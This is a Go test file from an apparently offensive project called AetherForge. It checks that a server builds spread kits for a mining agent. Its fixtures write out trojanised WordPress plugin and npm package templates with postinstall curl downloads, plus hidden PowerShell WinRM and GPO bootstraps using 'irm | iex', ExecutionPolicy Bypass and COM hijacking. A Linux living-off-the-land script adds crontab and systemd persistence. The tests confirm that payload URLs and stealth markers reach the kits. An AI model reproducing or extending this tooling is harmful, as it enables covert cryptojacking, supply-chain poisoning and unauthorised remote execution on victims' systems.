Files
AetherForge/server/internal/api/spread_handler_test.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

385 lines
12 KiB
Go

package api
import (
"archive/zip"
"bytes"
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
)
func writeSpreadTemplates(t *testing.T, root string) {
t.Helper()
wpDir := filepath.Join(root, "templates", "wordpress-plugin", "plugin-template")
if err := os.MkdirAll(wpDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(wpDir, "plugin.php"), []byte("<?php // {{PLUGIN_SLUG}} {{DOWNLOAD_URL}}\n"), 0644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(wpDir, "readme.txt"), []byte("Stable tag: {{VERSION}}\nCampaign: {{WP_CAMPAIGN}}\n"), 0644); err != nil {
t.Fatal(err)
}
npmDir := filepath.Join(root, "templates", "npm-helper-package", "scripts")
if err := os.MkdirAll(npmDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(root, "templates", "npm-helper-package", "package.json"), []byte(`{"name":"{{PACKAGE_NAME}}","scripts":{"postinstall":"curl {{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}"}}`), 0644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(npmDir, "postinstall.cjs"), []byte("// {{CAMPAIGN}}\n"), 0644); err != nil {
t.Fatal(err)
}
spreadDir := filepath.Join(root, "spread-kit-web-publisher")
if err := os.MkdirAll(spreadDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("<html>{{SERVER_URL}}{{QUERY_SUFFIX}}</html>"), 0644); err != nil {
t.Fatal(err)
}
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
if err := os.MkdirAll(winrmDir, 0755); err != nil {
t.Fatal(err)
}
winrmScript := `# WinRM bootstrap
Enable-PSRemoting -Force -SkipNetworkProfileCheck
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
Start-Process -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
powershell.exe -EncodedCommand $encoded
COM={{COM_HIJACK}}
`
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0644); err != nil {
t.Fatal(err)
}
linuxDir := filepath.Join(root, "templates", "spread", "linux")
if err := os.MkdirAll(linuxDir, 0755); err != nil {
t.Fatal(err)
}
linuxScript := `#!/bin/sh
LOTL_MODE='{{LOTL_MODE}}'
curl -fsSL "{{SERVER_URL}}/get?os=linux{{QUERY_SUFFIX}}"
systemd-run --user --unit=aetherforge-worker.service
persist_crontab() { crontab -; }
`
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0755); err != nil {
t.Fatal(err)
}
entDir := filepath.Join(root, "templates", "spread", "enterprise")
if err := os.MkdirAll(entDir, 0755); err != nil {
t.Fatal(err)
}
gpoScript := `# GPO computer startup script
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
$env:AETHER_DEFER_MINING = '1'
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
`
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0644); err != nil {
t.Fatal(err)
}
}
func readZipEntries(t *testing.T, body []byte) map[string]string {
t.Helper()
zr, err := zip.NewReader(bytes.NewReader(body), int64(len(body)))
if err != nil {
t.Fatal(err)
}
out := make(map[string]string)
for _, f := range zr.File {
rc, err := f.Open()
if err != nil {
t.Fatal(err)
}
data, err := io.ReadAll(rc)
rc.Close()
if err != nil {
t.Fatal(err)
}
out[f.Name] = string(data)
}
return out
}
func TestExportWordPressPluginZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"build_id": "build-abc",
"server_url": "https://deck.example:8989",
"site_name": "My Blog",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportWordPressPlugin(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
t.Fatalf("content-type %q", ct)
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "my-blog-wordpress-plugin.zip") {
t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
}
entries := readZipEntries(t, rec.Body.Bytes())
php, ok := entries["my-blog/my-blog.php"]
if !ok {
t.Fatalf("expected my-blog/my-blog.php in zip, got %v", entries)
}
wantURL := "https://deck.example:8989/get?c=wp-my-blog&pin=build-abc"
if !strings.Contains(php, wantURL) {
t.Fatalf("php missing download url %q: %s", wantURL, php)
}
if readme, ok := entries["my-blog/readme.txt"]; !ok || !strings.Contains(readme, "wp-my-blog") {
t.Fatalf("readme missing campaign: %v", entries["my-blog/readme.txt"])
}
}
func TestExportNpmHelperZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"build_id": "pin-1",
"server_url": "https://deck.example",
"campaign": "ci-bootstrap",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/npm-helper-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportNpmHelper(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
pkg := entries["package.json"]
if !strings.Contains(pkg, "@aetherforge/ci-bootstrap-helper") {
t.Fatalf("package.json: %s", pkg)
}
if !strings.Contains(pkg, "https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap") {
t.Fatalf("package.json missing install url: %s", pkg)
}
}
func TestExportSpreadKitZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"server_url": "https://deck.example",
"campaign": "wave-a",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-kit-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadKit(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
if !strings.Contains(entries["index.html"], "https://deck.example?c=wave-a") {
t.Fatalf("index.html: %s", entries["index.html"])
}
}
func TestExportSpreadTemplateZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]interface{}{
"template": "winrm",
"server_url": "https://deck.example",
"build_id": "pin-9",
"campaign": "winrm-lab",
"com_hijack": true,
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
if !strings.Contains(entries["bootstrap.ps1"], "https://deck.example/get?os=windows&pin=pin-9&c=winrm-lab") {
t.Fatalf("bootstrap.ps1: %s", entries["bootstrap.ps1"])
}
if !strings.Contains(entries["bootstrap.ps1"], "COM=true") {
t.Fatalf("expected COM_HIJACK replacement: %s", entries["bootstrap.ps1"])
}
}
func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d", rec.Code)
}
}
func TestExportSpreadTemplateGPO(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"template": "gpo",
"server_url": "https://deck.example",
"build_id": "pin-gpo",
"campaign": "domain-wave",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "aetherforge-gpo-startup.zip") {
t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
}
entries := readZipEntries(t, rec.Body.Bytes())
script := entries["gpo-startup.ps1"]
for _, marker := range []string{
"https://deck.example/install.ps1",
"pin=pin-gpo",
"c=domain-wave",
"AETHER_DEFER_MINING",
} {
if !strings.Contains(script, marker) {
t.Fatalf("gpo script missing %q: %s", marker, script)
}
}
}
func TestExportSpreadTemplateLinuxLOTL(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"template": "linux-lotl",
"server_url": "https://deck.example",
"build_id": "pin-lnx",
"campaign": "ssh-wave",
"lotl_mode": "both",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
script := entries["lotl-bootstrap.sh"]
for _, marker := range []string{
"https://deck.example/get?os=linux",
"pin=pin-lnx",
"LOTL_MODE='both'",
"systemd-run --user",
"crontab",
} {
if !strings.Contains(script, marker) {
t.Fatalf("linux script missing %q: %s", marker, script)
}
}
}
func TestSpreadTemplateRejectsUnknownLane(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"template": "bogus-lane",
"server_url": "https://deck.example",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
}
}
func TestSpreadTemplateRequiresServerURL(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{"template": "winrm"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d", rec.Code)
}
}
func TestExportSpreadTemplateWinRMMarkers(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]interface{}{
"template": "winrm",
"server_url": "https://deck.example",
"build_id": "pin-wrm",
"campaign": "winrm-lab",
"com_hijack": true,
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
script := entries["bootstrap.ps1"]
for _, marker := range []string{
"Enable-PSRemoting",
"https://deck.example/get?os=windows",
"--spread-install",
"--defer-mining",
"COM=true",
} {
if !strings.Contains(script, marker) {
t.Fatalf("winrm script missing %q: %s", marker, script)
}
}
}
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportWordPressPlugin(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d", rec.Code)
}
}